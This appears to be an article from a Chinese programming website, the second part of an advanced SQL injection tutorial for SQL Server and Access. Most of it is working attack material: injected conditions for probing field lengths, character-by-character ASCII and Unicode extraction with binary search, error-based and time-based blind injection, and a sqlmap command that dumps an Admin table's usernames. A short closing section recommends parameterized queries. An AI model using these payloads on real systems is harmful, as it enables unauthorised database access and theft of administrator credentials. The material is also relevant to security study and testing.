首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL 注入進階實戰 (第二部分):長度探測、ASCII 逐字解碼、常用函數對照與中文處理

     編輯:關於SqlServer

接續高階篇,本文詳細示範如何在已知表/欄位前提下,透過長度探測與 ASCII 逐字解碼提取資料,並整理 Access/SQL Server 常用函數對照表與中文 Unicode 處理技巧。

一、 資料提取標準流程:長度 → 逐字解碼

步驟 1:探測欄位長度 (以 Admin 表 username 為例)

-- 參數:id=49 AND (SELECT TOP 1 LEN(username) FROM Admin) > 0
-- 依序測試 >1, >2, >3... 直到不成立
-- 假設 >7 成立、>8 不成立 → LEN = 8

實務採用**二分搜尋** (Binary Search) 加速:先測 >50、>25、>12... 縮小範圍再線性逼近。

步驟 2:逐字擷取 ASCII 碼

-- 第 1 字元
id=49 AND (SELECT TOP 1 ASCII(SUBSTRING(username,1,1)) FROM Admin) > 0
-- 二分法:>64? >96? >112? ... 縮小至確切 ASCII 值
-- 英數字範圍 32-126,約 7 次猜測鎖定單一字元
  • SUBSTRING(str, start, len):SQL Server 截取函數
  • ASCII():取第一字元 ASCII 碼
  • 自動化腳本可將單表提取速度提升至秒級

二、 Access vs SQL Server 常用函數對照表

功能AccessSQL Server備註
字元 → ASCIIASC()ASCII() / UNICODE()中文需用 UNICODE
ASCII → 字元CHR()CHAR() / NCHAR()中文需用 NCHAR
子字串擷取MID(str, n, l)SUBSTRING(str, n, l)起始位置 1-based
絕對值ABS()ABS()中文負數處理
範圍判斷BETWEEN ... AND ...BETWEEN ... AND ...語法相同

三、 中文處理關鍵差異

特性AccessSQL Server
中文編碼雙位元組 ANSI (Big5/GBK),ASCII 可能為負數UNICODE (UCS-2),固定 2 Bytes,碼點為正數
取碼函數ASC() 可能得負數 → ABS() 修正必須用 UNICODE(),ASCII() 只取第一 Byte 會錯
還原字元CHR(ABS(val))NCHAR(val)
猜測範圍0-65535 (含負數修正)0-65535 (基本多文種平面 BMP)

中文逐字解碼範例 (SQL Server)

DECLARE @sql NVARCHAR(4000), @i INT = 1, @len INT, @ch NVARCHAR(1);
SELECT @len = LEN(username) FROM Admin WHERE id = 1;  -- 假設已知長度
WHILE @i <= @len
BEGIN
    -- 二分搜尋 UNICODE 碼點
    SET @sql = 'SELECT CASE WHEN UNICODE(SUBSTRING(username,' + CAST(@i AS VARCHAR) + ',1)) > 30000 THEN 1 ELSE 0 END FROM Admin WHERE id=1';
    -- ... 執行 @sql 並根據回傳 0/1 調整上下界 ...
    SET @i = @i + 1;
END

四、 實務加速技巧

  • 併發多執行緒:同時探測不同字元位置 (需控制連線數)
  • 錯誤回顯法:CAST((SELECT TOP 1 username FROM Admin) AS INT) 直接觸發轉型錯誤,一次取得整串 (需錯誤頁回顯)
  • 時間盲注:無回顯時用 WAITFOR DELAY 判斷真假 (慢、噪音大)
  • 工具化:sqlmap -u "url?id=1*" --dump -T Admin -C username 自動完成上述所有步驟

五、 防禦重申

**參數化查詢** 仍是唯一根治。上述所有技巧在參數化查詢前完全失效,因為使用者輸入永遠不會成為 SQL 代碼一部分。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved